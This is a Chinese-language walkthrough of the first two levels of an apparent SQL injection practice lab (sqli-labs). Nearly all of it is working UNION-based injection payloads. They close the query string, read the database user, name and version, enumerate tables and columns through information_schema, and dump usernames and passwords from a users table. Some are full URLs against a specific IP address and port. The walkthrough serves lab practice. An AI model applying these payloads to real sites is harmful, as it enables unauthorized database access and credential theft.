第一关
字符型注入,加单引号报错,需要闭合来注入
直接上语句:
?id=-1’ union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+
concat_ws 可以无限查询,中间可以插入很多要查的东西,第一个是占位符,可以用~代替也行
id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
0x7365637572697479这是hex加密的数据库名,不加密也行
group_concat() 多查询,把返回的很多数据全显示,返回所有表
-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
加密的表名
’ union select 1,2,concat_ws(char(32,58,32),username,password) from users --+
查出数据,用group_concat()也行
-1’ union select 1,2,group_concat(id,username,password) from users–+
第二关
数字型,不用加单引号闭合了,感觉比第一关还简单
语句:
http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,concat_ws(%27~~%27,database(),user(),version())
查当然数据库,用户,数据库版本
111 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’
查当前数据库的表
http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27
查询当前表的字段
http://121.196.164.91:7001/Less-2/?id=111%20union%20select%201,2,concat_ws(%27~~%27,username,password)%20from%20users
查字段里的内容